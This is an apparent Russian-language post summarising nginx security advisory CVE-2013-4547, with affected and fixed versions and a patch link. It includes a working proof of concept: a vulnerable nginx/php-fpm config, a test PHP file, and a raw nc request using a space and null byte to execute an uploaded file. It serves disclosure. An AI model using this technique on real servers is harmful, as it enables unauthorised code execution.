Уязвимость в nginx — nginx security advisory (CVE-2013-4547)

В nginx обнаружена (и уже исправлена) уязвимость.
Подробности здесь: mailman.nginx.org/pipermail/nginx-ru/2013-November/052575.html

Проблеме подвержены версии nginx 0.8.41 — 1.5.6.
Проблема исправлена в nginx 1.5.7, 1.4.4.
Для кастомных конфигураций доступен патч — nginx.org/download/patch.2013.space.txt

Особенно интересна вот эта часть:

а также возможность вызывать специальную обработку файла с пробелом на конце в конфигурации вида
location ~ \.php$ {
fastcgi_pass…
}

запросив файл как "/file \0.php".

В популярной конфигурации nginx + php уязвимость может эксплуатироваться следующим образом:
* Пользователь загружает на сервер файл с пробелом на конце
* Специально составленным запросом этот файл исполняется.

Применительно к nginx + php5-fpm должны соблюдаться следующие условия для эксплуатации уязвимости:
1) fastcgi_param PATH_TRANSLATED должнен быть вида $document_root/$fastcgi_script_name, т.е. значение скрипта берется из реквеста
2) в конфиге fpm pool значение ecurity.limit_extensions должно пропускать любые файлы. По-умолчанию она выставлена в .php .php3 .php4 .php5

Пример эксплуатации:

        server { 		listen		*:80; 		server_name	example.com;  		access_log	...; 		error_log	...;  		root /var/www/hot; 		 		location ~ \.php$ { 			include /etc/nginx/fastcgi_params; 			fastcgi_param PATH_TRANSLATED $document_root/$fastcgi_script_name; 			fastcgi_param SCRIPT_FILENAME $document_root/$fastcgi_script_name; 			fastcgi_pass  pass; 		}                  location /css/ { }                 location /js/  { }                 location /img/ { }  	}  

 cat "/var/www/hot/hole "  <?php  echo "I am hole"; ?>  

И наконец сам запрос:

 echo -e "GET /hole \0.php HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc -w 1 example.com 80 HTTP/1.1 200 OK Server: nginx/1.4.1 Date: Tue, 19 Nov 2013 15:31:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.19-1~dotdeb.1  9 I am hole 0